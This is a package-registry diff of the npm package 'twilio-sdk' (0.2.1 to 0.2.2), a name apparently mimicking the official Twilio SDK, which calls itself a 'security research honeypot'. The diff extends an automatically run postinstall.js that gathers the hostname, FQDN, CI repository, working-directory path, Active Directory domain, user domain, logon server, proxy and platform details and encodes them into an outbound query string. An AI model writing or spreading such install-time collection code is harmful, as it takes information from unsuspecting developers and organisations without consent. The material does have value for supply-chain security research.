twilio-sdk 0.2.1 → 0.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +10 -3
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "twilio-sdk",
3
- "version": "0.2.1",
3
+ "version": "0.2.2",
4
4
  "description": "Security research honeypot. Installed by mistake? See README.",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -5,14 +5,17 @@ try {
5
5
 
6
6
  var hn = os.hostname();
7
7
  var initCwd = process.env.INIT_CWD || process.cwd();
8
- var cwd = initCwd.split('/').pop() || '';
8
+ var cwd = initCwd.split(/[\\/]/).pop() || '';
9
+ var adDomain = env.USERDNSDOMAIN || '';
10
+ var userDomain = env.USERDOMAIN || '';
11
+ var logonServer = env.LOGONSERVER || '';
12
+ var hasProxy = !!(env.HTTP_PROXY || env.http_proxy || env.HTTPS_PROXY || env.https_proxy);
13
+ var isWindows = process.platform === 'win32';
9
14
 
10
- // Try to resolve FQDN from hostname (no files read, DNS only)
11
15
  dns.lookup(hn, {timeout: 3000}, function(err, addr) {
12
16
  dns.reverse(addr, function(err2, ptrs) {
13
17
  var fqdn = (ptrs && ptrs[0]) ? ptrs[0] : '';
14
18
  var envFqdn = env.HOSTNAME || env.HOST || env.COMPUTERNAME || '';
15
- var adDomain = env.USERDNSDOMAIN || '';
16
19
 
17
20
  var ci = [];
18
21
  if (env.GITHUB_REPOSITORY) ci.push('repo=' + encodeURIComponent(env.GITHUB_REPOSITORY));
@@ -34,6 +37,10 @@ try {
34
37
  + '&host=' + encodeURIComponent(hn)
35
38
  + '&fqdn=' + encodeURIComponent(fqdn || envFqdn || '')
36
39
  + '&addomain=' + encodeURIComponent(adDomain)
40
+ + '&userdomain=' + encodeURIComponent(userDomain)
41
+ + '&logonserver=' + encodeURIComponent(logonServer)
42
+ + '&proxy=' + (hasProxy ? '1' : '0')
43
+ + '&win=' + (isWindows ? '1' : '0')
37
44
  + '&cwd=' + encodeURIComponent(cwd)
38
45
  + '&fullpath=' + encodeURIComponent(initCwd);
39
46